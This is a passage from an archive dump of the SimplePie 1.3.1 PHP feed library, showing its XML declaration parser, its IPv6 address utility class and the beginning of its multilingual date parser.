 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @version 1.3.1
 * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Geoffrey Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */


/**
 * Parses the XML Declaration
 *
 * @package SimplePie
 * @subpackage Parsing
 */
class SimplePie_XML_Declaration_Parser
{
	/**
	 * XML Version
	 *
	 * @access public
	 * @var string
	 */
	var $version = '1.0';

	/**
	 * Encoding
	 *
	 * @access public
	 * @var string
	 */
	var $encoding = 'UTF-8';

	/**
	 * Standalone
	 *
	 * @access public
	 * @var bool
	 */
	var $standalone = false;

	/**
	 * Current state of the state machine
	 *
	 * @access private
	 * @var string
	 */
	var $state = 'before_version_name';

	/**
	 * Input data
	 *
	 * @access private
	 * @var string
	 */
	var $data = '';

	/**
	 * Input data length (to avoid calling strlen() everytime this is needed)
	 *
	 * @access private
	 * @var int
	 */
	var $data_length = 0;

	/**
	 * Current position of the pointer
	 *
	 * @var int
	 * @access private
	 */
	var $position = 0;

	/**
	 * Create an instance of the class with the input data
	 *
	 * @access public
	 * @param string $data Input data
	 */
	public function __construct($data)
	{
		$this->data = $data;
		$this->data_length = strlen($this->data);
	}

	/**
	 * Parse the input data
	 *
	 * @access public
	 * @return bool true on success, false on failure
	 */
	public function parse()
	{
		while ($this->state && $this->state !== 'emit' && $this->has_data())
		{
			$state = $this->state;
			$this->$state();
		}
		$this->data = '';
		if ($this->state === 'emit')
		{
			return true;
		}
		else
		{
			$this->version = '';
			$this->encoding = '';
			$this->standalone = '';
			return false;
		}
	}

	/**
	 * Check whether there is data beyond the pointer
	 *
	 * @access private
	 * @return bool true if there is further data, false if not
	 */
	public function has_data()
	{
		return (bool) ($this->position < $this->data_length);
	}

	/**
	 * Advance past any whitespace
	 *
	 * @return int Number of whitespace characters passed
	 */
	public function skip_whitespace()
	{
		$whitespace = strspn($this->data, "\x09\x0A\x0D\x20", $this->position);
		$this->position += $whitespace;
		return $whitespace;
	}

	/**
	 * Read value
	 */
	public function get_value()
	{
		$quote = substr($this->data, $this->position, 1);
		if ($quote === '"' || $quote === "'")
		{
			$this->position++;
			$len = strcspn($this->data, $quote, $this->position);
			if ($this->has_data())
			{
				$value = substr($this->data, $this->position, $len);
				$this->position += $len + 1;
				return $value;
			}
		}
		return false;
	}

	public function before_version_name()
	{
		if ($this->skip_whitespace())
		{
			$this->state = 'version_name';
		}
		else
		{
			$this->state = false;
		}
	}

	public function version_name()
	{
		if (substr($this->data, $this->position, 7) === 'version')
		{
			$this->position += 7;
			$this->skip_whitespace();
			$this->state = 'version_equals';
		}
		else
		{
			$this->state = false;
		}
	}

	public function version_equals()
	{
		if (substr($this->data, $this->position, 1) === '=')
		{
			$this->position++;
			$this->skip_whitespace();
			$this->state = 'version_value';
		}
		else
		{
			$this->state = false;
		}
	}

	public function version_value()
	{
		if ($this->version = $this->get_value())
		{
			$this->skip_whitespace();
			if ($this->has_data())
			{
				$this->state = 'encoding_name';
			}
			else
			{
				$this->state = 'emit';
			}
		}
		else
		{
			$this->state = false;
		}
	}

	public function encoding_name()
	{
		if (substr($this->data, $this->position, 8) === 'encoding')
		{
			$this->position += 8;
			$this->skip_whitespace();
			$this->state = 'encoding_equals';
		}
		else
		{
			$this->state = 'standalone_name';
		}
	}

	public function encoding_equals()
	{
		if (substr($this->data, $this->position, 1) === '=')
		{
			$this->position++;
			$this->skip_whitespace();
			$this->state = 'encoding_value';
		}
		else
		{
			$this->state = false;
		}
	}

	public function encoding_value()
	{
		if ($this->encoding = $this->get_value())
		{
			$this->skip_whitespace();
			if ($this->has_data())
			{
				$this->state = 'standalone_name';
			}
			else
			{
				$this->state = 'emit';
			}
		}
		else
		{
			$this->state = false;
		}
	}

	public function standalone_name()
	{
		if (substr($this->data, $this->position, 10) === 'standalone')
		{
			$this->position += 10;
			$this->skip_whitespace();
			$this->state = 'standalone_equals';
		}
		else
		{
			$this->state = false;
		}
	}

	public function standalone_equals()
	{
		if (substr($this->data, $this->position, 1) === '=')
		{
			$this->position++;
			$this->skip_whitespace();
			$this->state = 'standalone_value';
		}
		else
		{
			$this->state = false;
		}
	}

	public function standalone_value()
	{
		if ($standalone = $this->get_value())
		{
			switch ($standalone)
			{
				case 'yes':
					$this->standalone = true;
					break;

				case 'no':
					$this->standalone = false;
					break;

				default:
					$this->state = false;
					return;
			}

			$this->skip_whitespace();
			if ($this->has_data())
			{
				$this->state = false;
			}
			else
			{
				$this->state = 'emit';
			}
		}
		else
		{
			$this->state = false;
		}
	}
}
Net/IPv6.php000066600000016630151273307470006612 0ustar00<?php
/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @version 1.3.1
 * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Geoffrey Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */


/**
 * Class to validate and to work with IPv6 addresses.
 *
 * @package SimplePie
 * @subpackage HTTP
 * @copyright 2003-2005 The PHP Group
 * @license http://www.opensource.org/licenses/bsd-license.php
 * @link http://pear.php.net/package/Net_IPv6
 * @author Alexander Merz <alexander.merz@web.de>
 * @author elfrink at introweb dot nl
 * @author Josh Peck <jmp at joshpeck dot org>
 * @author Geoffrey Sneddon <geoffers@gmail.com>
 */
class SimplePie_Net_IPv6
{
	/**
	 * Uncompresses an IPv6 address
	 *
	 * RFC 4291 allows you to compress concecutive zero pieces in an address to
	 * '::'. This method expects a valid IPv6 address and expands the '::' to
	 * the required number of zero pieces.
	 *
	 * Example:  FF01::101   ->  FF01:0:0:0:0:0:0:101
	 *           ::1         ->  0:0:0:0:0:0:0:1
	 *
	 * @author Alexander Merz <alexander.merz@web.de>
	 * @author elfrink at introweb dot nl
	 * @author Josh Peck <jmp at joshpeck dot org>
	 * @copyright 2003-2005 The PHP Group
	 * @license http://www.opensource.org/licenses/bsd-license.php
	 * @param string $ip An IPv6 address
	 * @return string The uncompressed IPv6 address
	 */
	public static function uncompress($ip)
	{
		$c1 = -1;
		$c2 = -1;
		if (substr_count($ip, '::') === 1)
		{
			list($ip1, $ip2) = explode('::', $ip);
			if ($ip1 === '')
			{
				$c1 = -1;
			}
			else
			{
				$c1 = substr_count($ip1, ':');
			}
			if ($ip2 === '')
			{
				$c2 = -1;
			}
			else
			{
				$c2 = substr_count($ip2, ':');
			}
			if (strpos($ip2, '.') !== false)
			{
				$c2++;
			}
			// ::
			if ($c1 === -1 && $c2 === -1)
			{
				$ip = '0:0:0:0:0:0:0:0';
			}
			// ::xxx
			else if ($c1 === -1)
			{
				$fill = str_repeat('0:', 7 - $c2);
				$ip = str_replace('::', $fill, $ip);
			}
			// xxx::
			else if ($c2 === -1)
			{
				$fill = str_repeat(':0', 7 - $c1);
				$ip = str_replace('::', $fill, $ip);
			}
			// xxx::xxx
			else
			{
				$fill = ':' . str_repeat('0:', 6 - $c2 - $c1);
				$ip = str_replace('::', $fill, $ip);
			}
		}
		return $ip;
	}

	/**
	 * Compresses an IPv6 address
	 *
	 * RFC 4291 allows you to compress concecutive zero pieces in an address to
	 * '::'. This method expects a valid IPv6 address and compresses consecutive
	 * zero pieces to '::'.
	 *
	 * Example:  FF01:0:0:0:0:0:0:101   ->  FF01::101
	 *           0:0:0:0:0:0:0:1        ->  ::1
	 *
	 * @see uncompress()
	 * @param string $ip An IPv6 address
	 * @return string The compressed IPv6 address
	 */
	public static function compress($ip)
	{
		// Prepare the IP to be compressed
		$ip = self::uncompress($ip);
		$ip_parts = self::split_v6_v4($ip);

		// Replace all leading zeros
		$ip_parts[0] = preg_replace('/(^|:)0+([0-9])/', '\1\2', $ip_parts[0]);

		// Find bunches of zeros
		if (preg_match_all('/(?:^|:)(?:0(?::|$))+/', $ip_parts[0], $matches, PREG_OFFSET_CAPTURE))
		{
			$max = 0;
			$pos = null;
			foreach ($matches[0] as $match)
			{
				if (strlen($match[0]) > $max)
				{
					$max = strlen($match[0]);
					$pos = $match[1];
				}
			}

			$ip_parts[0] = substr_replace($ip_parts[0], '::', $pos, $max);
		}

		if ($ip_parts[1] !== '')
		{
			return implode(':', $ip_parts);
		}
		else
		{
			return $ip_parts[0];
		}
	}

	/**
	 * Splits an IPv6 address into the IPv6 and IPv4 representation parts
	 *
	 * RFC 4291 allows you to represent the last two parts of an IPv6 address
	 * using the standard IPv4 representation
	 *
	 * Example:  0:0:0:0:0:0:13.1.68.3
	 *           0:0:0:0:0:FFFF:129.144.52.38
	 *
	 * @param string $ip An IPv6 address
	 * @return array [0] contains the IPv6 represented part, and [1] the IPv4 represented part
	 */
	private static function split_v6_v4($ip)
	{
		if (strpos($ip, '.') !== false)
		{
			$pos = strrpos($ip, ':');
			$ipv6_part = substr($ip, 0, $pos);
			$ipv4_part = substr($ip, $pos + 1);
			return array($ipv6_part, $ipv4_part);
		}
		else
		{
			return array($ip, '');
		}
	}

	/**
	 * Checks an IPv6 address
	 *
	 * Checks if the given IP is a valid IPv6 address
	 *
	 * @param string $ip An IPv6 address
	 * @return bool true if $ip is a valid IPv6 address
	 */
	public static function check_ipv6($ip)
	{
		$ip = self::uncompress($ip);
		list($ipv6, $ipv4) = self::split_v6_v4($ip);
		$ipv6 = explode(':', $ipv6);
		$ipv4 = explode('.', $ipv4);
		if (count($ipv6) === 8 && count($ipv4) === 1 || count($ipv6) === 6 && count($ipv4) === 4)
		{
			foreach ($ipv6 as $ipv6_part)
			{
				// The section can't be empty
				if ($ipv6_part === '')
					return false;

				// Nor can it be over four characters
				if (strlen($ipv6_part) > 4)
					return false;

				// Remove leading zeros (this is safe because of the above)
				$ipv6_part = ltrim($ipv6_part, '0');
				if ($ipv6_part === '')
					$ipv6_part = '0';

				// Check the value is valid
				$value = hexdec($ipv6_part);
				if (dechex($value) !== strtolower($ipv6_part) || $value < 0 || $value > 0xFFFF)
					return false;
			}
			if (count($ipv4) === 4)
			{
				foreach ($ipv4 as $ipv4_part)
				{
					$value = (int) $ipv4_part;
					if ((string) $value !== $ipv4_part || $value < 0 || $value > 0xFF)
						return false;
				}
			}
			return true;
		}
		else
		{
			return false;
		}
	}

	/**
	 * Checks if the given IP is a valid IPv6 address
	 *
	 * @codeCoverageIgnore
	 * @deprecated Use {@see SimplePie_Net_IPv6::check_ipv6()} instead
	 * @see check_ipv6
	 * @param string $ip An IPv6 address
	 * @return bool true if $ip is a valid IPv6 address
	 */
	public static function checkIPv6($ip)
	{
		return self::check_ipv6($ip);
	}
}
Parse/Date.php000066600000046365151273307470007237 0ustar00<?php
/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @version 1.3.1
 * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Geoffrey Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */


/**
 * Date Parser
 *
 * @package SimplePie
 * @subpackage Parsing
 */
class SimplePie_Parse_Date
{
	/**
	 * Input data
	 *
	 * @access protected
	 * @var string
	 */
	var $date;

	/**
	 * List of days, calendar day name => ordinal day number in the week
	 *
	 * @access protected
	 * @var array
	 */
	var $day = array(
		// English
		'mon' => 1,
		'monday' => 1,
		'tue' => 2,
		'tuesday' => 2,
		'wed' => 3,
		'wednesday' => 3,
		'thu' => 4,
		'thursday' => 4,
		'fri' => 5,
		'friday' => 5,
		'sat' => 6,
		'saturday' => 6,
		'sun' => 7,
		'sunday' => 7,
		// Dutch
		'maandag' => 1,
		'dinsdag' => 2,
		'woensdag' => 3,
		'donderdag' => 4,
		'vrijdag' => 5,
		'zaterdag' => 6,
		'zondag' => 7,
		// French
		'lundi' => 1,
		'mardi' => 2,
		'mercredi' => 3,
		'jeudi' => 4,
		'vendredi' => 5,
		'samedi' => 6,
		'dimanche' => 7,
		// German
		'montag' => 1,
		'dienstag' => 2,
		'mittwoch' => 3,
		'donnerstag' => 4,
		'freitag' => 5,
		'samstag' => 6,
		'sonnabend' => 6,
		'sonntag' => 7,
		// Italian
		'lunedì' => 1,
		'martedì' => 2,
		'mercoledì' => 3,
		'giovedì' => 4,
		'venerdì' => 5,
		'sabato' => 6,
		'domenica' => 7,
		// Spanish
		'lunes' => 1,
		'martes' => 2,
		'miércoles' => 3,
		'jueves' => 4,
		'viernes' => 5,
		'sábado' => 6,
		'domingo' => 7,
		// Finnish
		'maanantai' => 1,
		'tiistai' => 2,
		'keskiviikko' => 3,
		'torstai' => 4,
		'perjantai' => 5,
		'lauantai' => 6,
		'sunnuntai' => 7,
		// Hungarian
		'hétfő' => 1,
		'kedd' => 2,
		'szerda' => 3,
		'csütörtok' => 4,
		'péntek' => 5,
		'szombat' => 6,
		'vasárnap' => 7,
		// Greek
		'Δευ' => 1,
		'Τρι' => 2,
		'Τετ' => 3,
		'Πεμ' => 4,
		'Παρ' => 5,
		'Σαβ' => 6,
		'Κυρ' => 7,
	);

	/**
	 * List of months, calendar month name => calendar month number
	 *
	 * @access protected
	 * @var array
	 */
	var $month = array(
		// English
		'jan' => 1,
		'january' => 1,
		'feb' => 2,
		'february' => 2,
		'mar' => 3,
		'march' => 3,
		'apr' => 4,
		'april' => 4,
		'may' => 5,
		// No long form of May
		'jun' => 6,
		'june' => 6,
		'jul' => 7,
		'july' => 7,
		'aug' => 8,
		'august' => 8,
		'sep' => 9,
		'september' => 8,
		'oct' => 10,
		'october' => 10,
		'nov' => 11,
		'november' => 11,
		'dec' => 12,
		'december' => 12,
		// Dutch
		'januari' => 1,
		'februari' => 2,
		'maart' => 3,
		'april' => 4,
		'mei' => 5,
		'juni' => 6,
		'juli' => 7,
		'augustus' => 8,
		'september' => 9,
		'oktober' => 10,
		'november' => 11,
		'december' => 12,
		// French
		'janvier' => 1,
		'février' => 2,
		'mars' => 3,
		'avril' => 4,
		'mai' => 5,
		'juin' => 6,
		'juillet' => 7,
		'août' => 8,
		'septembre' => 9,
		'octobre' => 10,
		'novembre' => 11,
		'décembre' => 12,
		// German
		'januar' => 1,
		'februar' => 2,
		'märz' => 3,
		'april' => 4,
		'mai' => 5,
		'juni' => 6,
		'juli' => 7,
		'august' => 8,
		'september' => 9,
		'oktober' => 10,
		'november' => 11,
		'dezember' => 12,
		// Italian
		'gennaio' => 1,
		'febbraio' => 2,
		'marzo' => 3,
		'aprile' => 4,
		'maggio' => 5,
		'giugno' => 6,
		'luglio' => 7,
		'agosto' => 8,
		'settembre' => 9,
		'ottobre' => 10,
		'novembre' => 11,
		'dicembre' => 12,
		// Spanish
		'enero' => 1,
		'febrero' => 2,
		'marzo' => 3,
		'abril' => 4,
		'mayo' => 5,
		'junio' => 6,
		'julio' => 7,
		'agosto' => 8,
		'septiembre' => 9,
		'setiembre' => 9,
		'octubre' => 10,
		'noviembre' => 11,
		'diciembre' => 12,
		// Finnish
		'tammikuu' => 1,
		'helmikuu' => 2,
		'maaliskuu' => 3,
		'huhtikuu' => 4,
		'toukokuu' => 5,
		'kesäkuu' => 6,
		'heinäkuu' => 7,
		'elokuu' => 8,
		'suuskuu' => 9,
		'lokakuu' => 10,
		'marras' => 11,
		'joulukuu' => 12,
		// Hungarian
		'január' => 1,
		'február' => 2,
		'március' => 3,
		'április' => 4,
		'május' => 5,
		'június' => 6,
		'július' => 7,
		'augusztus' => 8,
		'szeptember' => 9,
		'október' => 10,
		'november' => 11,
		'december' => 12,
		// Greek
		'Ιαν' => 1,
		'Φεβ' => 2,
		'Μάώ' => 3,
		'Μαώ' => 3,
		'Απρ' => 4,
		'Μάι' => 5,
		'Μαϊ' => 5,
		'Μαι' => 5,
		'Ιούν' => 6,
		'Ιον' => 6,
		'Ιούλ' => 7,
		'Ιολ' => 7,
		'Αύγ' => 8,
		'Αυγ' => 8,
		'Σεπ' => 9,
		'Οκτ' => 10,
		'Νοέ' => 11,
		'Δεκ' => 12,
	);

	/**
	 * List of timezones, abbreviation => offset from UTC
	 *
	 * @access protected
	 * @var array
	 */
	var $timezone = array(
		'ACDT' => 37800,
		'ACIT' => 28800,
		'ACST' => 34200,
		'ACT' => -18000,
		'ACWDT' => 35100,
		'ACWST' => 31500,
		'AEDT' => 39600,
		'AEST' => 36000,
		'AFT' => 16200,
		'AKDT' => -28800,
		'AKST' => -32400,
		'AMDT' => 18000,
		'AMT' => -14400,
		'ANAST' => 46800,
		'ANAT' => 43200,
		'ART' => -10800,
		'AZOST' => -3600,
		'AZST' => 18000,
		'AZT' => 14400,
		'BIOT' => 21600,
		'BIT' => -43200,
		'BOT' => -14400,
		'BRST' => -7200,
		'BRT' => -10800,
		'BST' => 3600,
		'BTT' => 21600,
		'CAST' => 18000,
		'CAT' => 7200,
		'CCT' => 23400,
		'CDT' => -18000,
		'CEDT' => 7200,
		'CEST' => 7200,
		'CET' => 3600,
		'CGST' => -7200,
		'CGT' => -10800,
		'CHADT' => 49500,
		'CHAST' => 45900,
		'CIST' => -28800,
		'CKT' => -36000,
		'CLDT' => -10800,
		'CLST' => -14400,
		'COT' => -18000,
		'CST' => -21600,
		'CVT' => -3600,
		'CXT' => 25200,
		'DAVT' => 25200,
		'DTAT' => 36000,
		'EADT' => -18000,
		'EAST' => -21600,
		'EAT' => 10800,
		'ECT' => -18000,
		'EDT' => -14400,
		'EEST' => 10800,
		'EET' => 7200,
		'EGT' => -3600,
		'EKST' => 21600,
		'EST' => -18000,
		'FJT' => 43200,
		'FKDT' => -10800,
		'FKST' => -14400,
		'FNT' => -7200,
		'GALT' => -21600,
		'GEDT' => 14400,
		'GEST' => 10800,
		'GFT' => -10800,
		'GILT' => 43200,
		'GIT' => -32400,
		'GST' => 14400,
		'GST' => -7200,
		'GYT' => -14400,
		'HAA' => -10800,
		'HAC' => -18000,
		'HADT' => -32400,
		'HAE' => -14400,
		'HAP' => -25200,
		'HAR' => -21600,
		'HAST' => -36000,
		'HAT' => -9000,
		'HAY' => -28800,
		'HKST' => 28800,
		'HMT' => 18000,
		'HNA' => -14400,
		'HNC' => -21600,
		'HNE' => -18000,
		'HNP' => -28800,
		'HNR' => -25200,
		'HNT' => -12600,
		'HNY' => -32400,
		'IRDT' => 16200,
		'IRKST' => 32400,
		'IRKT' => 28800,
		'IRST' => 12600,
		'JFDT' => -10800,
		'JFST' => -14400,
		'JST' => 32400,
		'KGST' => 21600,
		'KGT' => 18000,
		'KOST' => 39600,
		'KOVST' => 28800,
		'KOVT' => 25200,
		'KRAST' => 28800,
		'KRAT' => 25200,
		'KST' => 32400,
		'LHDT' => 39600,
		'LHST' => 37800,
		'LINT' => 50400,
		'LKT' => 21600,
		'MAGST' => 43200,
		'MAGT' => 39600,
		'MAWT' => 21600,
		'MDT' => -21600,
		'MESZ' => 7200,
		'MEZ' => 3600,
		'MHT' => 43200,
		'MIT' => -34200,
		'MNST' => 32400,
		'MSDT' => 14400,
		'MSST' => 10800,
		'MST' => -25200,
		'MUT' => 14400,
		'MVT' => 18000,
		'MYT' => 28800,
		'NCT' => 39600,
		'NDT' => -9000,
		'NFT' => 41400,
		'NMIT' => 36000,
		'NOVST' => 25200,
		'NOVT' => 21600,
		'NPT' => 20700,
		'NRT' => 43200,
		'NST' => -12600,
		'NUT' => -39600,
		'NZDT' => 46800,
		'NZST' => 43200,
		'OMSST' => 25200,
		'OMST' => 21600,
		'PDT' => -25200,
		'PET' => -18000,
		'PETST' => 46800,
		'PETT' => 43200,
		'PGT' => 36000,
		'PHOT' => 46800,
		'PHT' => 28800,
		'PKT' => 18000,
		'PMDT' => -7200,
		'PMST' => -10800,
		'PONT' => 39600,
		'PST' => -28800,
		'PWT' => 32400,
		'PYST' => -10800,
		'PYT' => -14400,
		'RET' => 14400,
		'ROTT' => -10800,
		'SAMST' => 18000,
		'SAMT' => 14400,
		'SAST' => 7200,
		'SBT' => 39600,
		'SCDT' => 46800,
		'SCST' => 43200,
		'SCT' => 14400,
		'SEST' => 3600,
		'SGT' => 28800,
		'SIT' => 28800,
		'SRT' => -10800,
		'SST' => -39600,
		'SYST' => 10800,
		'SYT' => 7200,
		'TFT' => 18000,
		'THAT' => -36000,
		'TJT' => 18000,
		'TKT' => -36000,
		'TMT' => 18000,
		'TOT' => 46800,
		'TPT' => 32400,
		'TRUT' => 36000,
		'TVT' => 43200,
		'TWT' => 28800,
		'UYST' => -7200,
		'UYT' => -10800,
		'UZT' => 18000,
		'VET' => -14400,
		'VLAST' => 39600,
		'VLAT' => 36000,
		'VOST' => 21600,
		'VUT' => 39600,
		'WAST' => 7200,
		'WAT' => 3600,
		'WDT' => 32400,
		'WEST' => 3600,
		'WFT' => 43200,
		'WIB' => 25200,
		'WIT' => 32400,
		'WITA' => 28800,
		'WKST' => 18000,
		'WST' => 28800,
		'YAKST' => 36000,
		'YAKT' => 32400,
		'YAPT' => 36000,
		'YEKST' => 21600,
		'YEKT' => 18000,
	);

	/**
	 * Cached PCRE for SimplePie_Parse_Date::$day
	 *
	 * @access protected
	 * @var string
	 */
	var $day_pcre;

	/**
	 * Cached PCRE for SimplePie_Parse_Date::$month
	 *
	 * @access protected
	 * @var string
	 */
	var $month_pcre;

	/**
	 * Array of user-added callback methods
	 *
	 * @access private
	 * @var array
	 */
	var $built_in = array();

	/**
	 * Array of user-added callback methods
	 *
	 * @access private
	 * @var array
	 */
	var $user = array();

	/**
	 * Create new SimplePie_Parse_Date object, and set self::day_pcre,
	 * self::month_pcre, and self::built_in
	 *
	 * @access private
	 */
	public function __construct()
	{
		$this->day_pcre = '(' . implode(array_keys($this->day), '|') . ')';
		$this->month_pcre = '(' . implode(array_keys($this->month), '|') . ')';

		static $cache;
		if (!isset($cache[get_class($this)]))
		{
			$all_methods = get_class_methods($this);

			foreach ($all_methods as $method)
			{
				if (strtolower(substr($method, 0, 5)) === 'date_')
				{
					$cache[get_class($this)][] = $method;
				}
			}
		}

		foreach ($cache[get_class($this)] as $method)
		{
			$this->built_in[] = $method;
		}
	}

	/**
	 * Get the object
	 *
	 * @access public
	 */
	public static function get()
	{
		static $object;
		if (!$object)
		{
			$object = new SimplePie_Parse_Date;
		}
		return $object;
	}

	/**
	 * Parse a date
	 *
	 * @final
	 * @access public
	 * @param string $date Date to parse
	 * @return int Timestamp corresponding to date string, or false on failure
	 */
	public function parse($date)
	{
		foreach ($this->user as $method)
		{
			if (($returned = call_user_func($method, $date)) !== false)
			{
				return $returned;
			}
		}

		foreach ($this->built_in as $method)
		{
			if (($returned = call_user_func(array($this, $method), $date)) !== false)
			{
				return $returned;
			}
		}

		return false;
	}

	/**
	 * Add a callback method to parse a date
	 *
	 * @final
	 * @access public
	 * @param callable $callback
	 */
	public function add_callback($callback)
	{
		if (is_callable($callback))
		{
			$this->user[] = $callback;
		}
		else
		{
			trigger_error('User-supplied function must be a valid callback', E_USER_WARNING);
		}
	}

	/**
	 * Parse a superset of W3C-DTF (allows hyphens and colons to be omitted, as
	 * well as allowing any of upper or lower case "T", horizontal tabs, or
	 * spaces to be used as the time seperator (including more than one))
	 *
	 * @access protected
	 * @return int Timestamp
	 */
	public function date_w3cdtf($date)
	{
		static $pcre;
		if (!$pcre)
		{
			$year = '([0-9]{4})';
			$month = $day = $hour = $minute = $second = '([0-9]{2})';
			$decimal = '([0-9]*)';
			$zone = '(?:(Z)|([+\-])([0-9]{1,2}):?([0-9]{1,2}))';
			$pcre = '/^' . $year . '(?:-?' . $month . '(?:-?' . $day . '(?:[Tt\x09\x20]+' . $hour . '(?::?' . $minute . '(?::?' . $second . '(?:.' . $decimal . ')?)?)?' . $zone . ')?)?)?$/';
		}
		if (preg_match($pcre, $date, $match))
		{
			/*
			Capturing subpatterns:
			1: Year
			2: Month
			3: Day
			4: Hour
			5: Minute
			6: Second
			7: Decimal fraction of a second
			8: Zulu
			9: Timezone ±
			10: Timezone hours
			11: Timezone minutes
			*/

			// Fill in empty matches
			for ($i = count($match); $i <= 3; $i++)
			{
				$match[$i] = '1';
			}

			for ($i = count($match); $i <= 7; $i++)
			{
				$match[$i] = '0';
			}

			// Numeric timezone
			if (isset($match[9]) && $match[9] !== '')
			{
				$timezone = $match[10] * 3600;
				$timezone += $match[11] * 60;
				if ($match[9] === '-')
				{
					$timezone = 0 - $timezone;
				}
			}
			else
			{
				$timezone = 0;
			}

			// Convert the number of seconds to an integer, taking decimals into account
			$second = round($match[6] + $match[7] / pow(10, strlen($match[7])));

			return gmmktime($match[4], $match[5], $second, $match[2], $match[3], $match[1]) - $timezone;
		}
		else
		{
			return false;
		}
	}

	/**
	 * Remove RFC822 comments
	 *
	 * @access protected
	 * @param string $data Data to strip comments from
	 * @return string Comment stripped string
	 */
	public function remove_rfc2822_comments($string)
	{
		$string = (string) $string;
		$position = 0;
		$length = strlen($string);
		$depth = 0;

		$output = '';

		while ($position < $length && ($pos = strpos($string, '(', $position)) !== false)
		{
			$output .= substr($string, $position, $pos - $position);
			$position = $pos + 1;
			if ($string[$pos - 1] !== '\\')
			{
				$depth++;
				while ($depth && $position < $length)
				{
					$position += strcspn($string, '()', $position);
					if ($string[$position - 1] === '\\')
					{
						$position++;
						continue;
					}
					elseif (isset($string[$position]))
					{
						switch ($string[$position])
						{
							case '(':
								$depth++;
								break;

							case ')':
								$depth--;
								break;
						}
						$position++;
					}
					else
					{
						break;
					}
				}
			}
			else
			{
				$output .= '(';
			}
		}
		$output .= substr($string, $position);

		return $output;
	}

	/**
	 * Parse RFC2822's date format
	 *
	 * @access protected
	 * @return int Timestamp
	 */
	public function date_rfc2822($date)
	{
		static $pcre;
